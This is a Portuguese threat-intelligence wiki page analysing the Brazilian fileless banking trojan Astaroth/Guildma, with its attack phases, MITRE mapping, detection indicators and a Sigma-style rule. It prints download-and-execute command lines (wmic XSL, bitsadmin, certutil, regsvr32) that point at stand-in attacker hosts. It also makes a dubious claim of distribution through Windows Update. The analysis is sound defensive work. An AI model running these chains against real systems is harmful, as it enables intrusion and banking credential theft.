# PROC - Astaroth/Guildma: Cadeia de Ataque Fileless Específico Brasil
## Visão Geral
O [[astaroth-guildma|Astaroth]] (também denominado Guildma pelos pesquisadores da ESET) e um infostealer e trojan bancario de origem brasileira, ativo desde 2017 e especializado exclusivamente no mercado financeiro brasileiro. O que distingue o Astaroth de outros trojans bancarios LATAM e sua arquitetura inteiramente **fileless** (sem arquivo): o malware nunca escreve o payload principal em disco, operando exclusivamente em memoria RAM e aproveitando componentes legitimos do Windows para toda sua execução.
Essa arquitetura fileless tornou o Astaroth extraordinariamente resistente a soluções antivirus tradicionais baseadas em assinaturas de arquivo. A Microsoft chamou o Astaroth de "masterclass em técnicas fileless" em seu blog de segurança em 2019, e o grupo continuou inovando desde então - cada nova campanha traz refinamentos na cadeia de evasão. O Astaroth usa LOLBins (Living-Off-The-Land Binaries) como `wmic.exe`, `bitsadmin.exe`, `certutil.exe` e `rundll32.exe` para toda a cadeia de execução.
Apesar de ser um malware exclusivamente brasileiro (os alvos sao bancos brasileiros, os emails de phishing sao em portugues e o C2 usa infraestrutura no Brasil), o Astaroth foi detectado em campanha global através de atualizacoes do Windows Updaté - evidência de que o grupo tinha acesso a plataformas de distribuição de alcance mundial.
## Attack Flow
```mermaid
graph TB
A["📧 Phishing Fiscal PT-BR<br/>LNK ou HTML Smuggling"] --> B["⚙️ WMIC XSL Script<br/>Download sem tocar disco"]
B --> C["🔧 BITSAdmin + CertUtil<br/>Decode de payload cifrado"]
C --> D["💉 DLL Injection em userinit.exe<br/>Execução fileless em RAM"]
D --> E["🕵️ Hooking de APIs<br/>Captura de credenciais bancarias"]
E --> F["📡 Exfiltração via YouTube<br/>C2 oculto em descricoes de video"]
F --> G["💸 Fraude Bancaria<br/>TED/PIX com dados capturados"]
```
## Passo a Passo
### Fase 1 - Entrega via LNK ou HTML Smuggling
O Astaroth usa dois vetores de entrega principais:
**Vetor 1 - LNK malicioso:**
Email com ZIP contendo arquivo `.lnk` disfarçado de PDF ou documento fiscal. O arquivo LNK possui o icone de PDF mas aponta para execução de `wmic.exe` com parametros ofuscados:
```
Target: C:\Windows\System32\wmic.exe os get /format:"http://cdn[.]atacante[.]com/payload.xsl"
```
**Vetor 2 - HTML Smuggling:**
Email com anexo HTML que, ao abrir no browser, executa JavaScript para remontar um arquivo ZIP a partir de strings codificadas em Base64 diretamente no browser da vitima - o arquivo nunca transita pela rede em formato detectavel.
### Fase 2 - Execução via WMIC e XSL Script
O primeiro estagio da cadeia fileless usa o `wmic.exe` para baixar e executar um script XSL (XSLT) de servidor remoto ([[t1059-001-powershell|T1059.001]] via LOLBins):
```batch
wmic.exe os get /format:"http://185.234.X.X/style.xsl"
```
O arquivo XSL e um formato XML normalmente usado para transformacao de dados, mas pode conter JavaScript que e executado diretamente pelo `wmic.exe` - técnica que bypassa controles de execução pois `wmic.exe` e um binario assinado pela Microsoft e geralmente em whitelist.
O script XSL baixa o proximo estagio usando `BitsAdmin` (outro LOLBin):
```javascript
// Dentro do XSL - executa BitsAdmin para download
var shell = new ActiveXObject("WScript.Shell");
shell.Run('bitsadmin /transfer job /download /priority foreground ' +
'http://cdn.atacante.com/stage2.png C:\\Users\\Public\\s2.png');
```
### Fase 3 - Decodicacao com CertUtil
O arquivo baixado tem extensao `.png` mas e na verdade o payload codificado em Base64. O `certutil.exe` - ferramenta de gerenciamento de certificados do Windows - e usado para decodifica-lo ([[t1140-deobfuscate-decode-files|T1140]]):
```batch
certutil.exe -decode C:\Users\Public\s2.png C:\Users\Public\stage2.dll
```
O `certutil.exe` e amplamente usado por administradores de sistema e frequentemente em whitelist. Essa técnica foi documentada pelo Talos como uma das mais prevalentes em malware brasileiro.
### Fase 4 - Injecao em Processo Legitimo (Fileless)
O DLL decodificado e carregado diretamente na memoria usando `rundll32.exe` ([[t1218-011-rundll32|T1218.011]]), que injeta o payload no processo `userinit.exe` ou `explorer.exe`:
```batch
rundll32.exe shell32.dll,ShellExec_RunDLL regsvr32.exe /s /u /i:http://... scrobj.dll
```
A partir desse ponto, o Astaroth existe apenas em RAM - nenhuma parte do payload principal esta em disco. O processo `userinit.exe` infectado parece completamente legitimo em ferramentas de análise de processos.
### Fase 5 - Hooking de APIs e Captura de Credenciais
O Astaroth instala hooks nas APIs do Windows relacionadas a entrada de dados ([[t1056-input-capture|T1056]]):
- `GetClipboardData` - intercepta dados do clipboard (chavePIX, senhas copiadas)
- `TranslateMessage` / `GetMessage` - intercepta keystrokes antes de serem processados
- `NtCreateFile` - monitora abertura de arquivos de configuração de bancos
O malware mantem uma lista de 50+ bancos brasileiros e detecta quando o usuario navega para qualquer um deles via `GetWindowText`. Para cada banco, o Astaroth tem um módulo específico que sabe exatamente quais campos capturar.
### Fase 6 - C2 Oculto em Descricoes do YouTube
Uma das técnicas mais inovadoras do Astaroth e o uso de descricoes de videos do YouTube como infraestrutura de C2 ([[t1102-web-service\|T1102]]). O malware busca videos de canais específicos do YouTube e extrai texto codificado das descricoes, que contem enderecos atualizados dos servidores C2:
```
YouTube video description: "Olha so o meu canal novo...
xYz4aB8c==d0e1f2g3h4i5j6k7l8m9n0o1p2q3r4s5t6u7v8w9"
→ Decodifica texto oculto → IP:porta do C2 atual
```
Essa técnica usa a reputacao do YouTube para bypassar filtros de URL e torna a infraestrutura C2 resiliente - o grupo simplesmente atualiza a descrição do video quando precisa mudar o C2.
## TTPs Mapeados
| Fase | Técnica MITRE | Descrição |
|------|--------------|-----------|
| Entrega | [[t1566-001-spearphishing-attachment\|T1566.001]] | LNK ou HTML smuggling via email |
| Execução | [[t1220-xsl-script-processing\|T1220]] | WMIC executando XSL com JavaScript |
| Download | [[t1197-bits-jobs\|T1197]] | BitsAdmin para download de payload |
| Evasão | [[t1140-deobfuscate-decode-files\|T1140]] | CertUtil para decode de payload |
| Execução | [[t1218-011-rundll32\|T1218.011]] | Rundll32 para carregar DLL em memoria |
| Injecao | [[t1055-process-injection\|T1055]] | Injecao em userinit.exe/explorer.exe |
| Captura | [[t1056-input-capture\|T1056]] | Hook de APIs para credenciais bancarias |
| Captura | [[t1115-clipboard-data\|T1115]] | Interceptação de clipboard (PIX keys) |
| C2 | [[t1102-web-service\|T1102]] | C2 via descricoes de video do YouTube |
| Evasão | [[t1218-wmi-based-execution\|T1047]] | LOLBins exclusivos - zero malware em disco |
## Detecção
O Astaroth e projetado específicamente para evadir detecção por assinatura. A detecção requer abordagem comportamental:
**Indicadores de comportamento suspeito:**
| Indicador | Severidade | Fonte |
|-----------|-----------|-------|
| `wmic.exe` com argumento `/format:http://` | Critica | Sysmon Event 1 / EDR |
| `bitsadmin.exe` criando job para download de URL externa | Alta | Sysmon Event 1 |
| `certutil.exe -decode` em arquivo com extensao de imagem | Critica | Sysmon Event 1 |
| `rundll32.exe` com linha de comando longa e URL embutida | Critica | EDR behavioral |
| Processo `userinit.exe` fazendo conexão de rede | Critica | Sysmon Event 3 |
| Requests HTTP ao dominio `googlevideo.com` + IP C2 desconhecido | Alta | NDR |
**Regra de detecção WMIC XSL (pseudo-SIGMA):**
```yaml
title: WMIC Remote XSL Execution (Astaroth)
detection:
selection:
EventID: 1 # Process creation
Image|endswith: '\wmic.exe'
CommandLine|contains: '/format:http'
condition: selection
level: critical
```
## Contexto Brasil/LATAM
O Astaroth e um dos malwares mais estudados e relevantes para o contexto brasileiro, tanto pela especificidade de seus alvos (exclusivamente bancos brasileiros) quanto pela sofisticação técnica - que rivaliza com malwares de grupos APT estatais. A Microsoft identificou o Astaroth como uma das principais ameaças ao ecossistema Windows no Brasil.
A relacao do Astaroth com outros trojans bancarios brasileiros e complexa: o grupo compartilha infraestrutura e possívelmente código com [[mekotio|Mekotio]] e [[s0531-grandoreiro|Grandoreiro]], sugerindo um ecossistema de malware bancario brasileiro com colaboracao técnica entre grupos distintos. Isso implica que melhorias técnicas em um malware (como novas técnicas de evasão) frequentemente aparecem nos demais poucos meses depois.
A proliferacao do PIX desde 2020 criou nova superficie de ataque que o Astaroth adaptou rapidamente: a substituicao de chaves PIX no clipboard e monitoramento de jánelas de apps bancarios moveis (via ADB ou acesso a arquivos de configuração em Android) sao extensoes da arquitetura original do malware para o ecosistema de pagamentos instantaneos brasileiro. Organizacoes e usuarios brasileiros devem priorizar EDR com detecção comportamental e desabilitar ou monitorar rigorosamente o uso de LOLBins como `wmic.exe` e `certutil.exe`.
## Referências
- [Microsoft Security — Astaroth malware hides command-and-control servers](https://www.microsoft.com/en-us/security/blog/2019/07/08/dismantling-a-fileless-campaign-microsoft-defender-atp-next-gen-protection-exposes-astaroth-attack/)
- [Cisco Talos — Astaroth/Guildma Technical Analysis](https://blog.talosintelligence.com/2020/05/astaroth-analysis.html)
- [ESET — Guildma: The Devil Faces South América](https://www.welivesecurity.com/2020/03/05/guildma-devil-faces-south-america/)
- [Kaspersky — Brazilian banking Trojans meet Europe](https://securelist.com/brazilian-banking-trojans-meet-europe/96454/)
- [Checkpoint Research — Astaroth C2 via YouTube](https://research.checkpoint.com/2019/astaroth-malware-hides-command-and-control-servers-in-youtube/)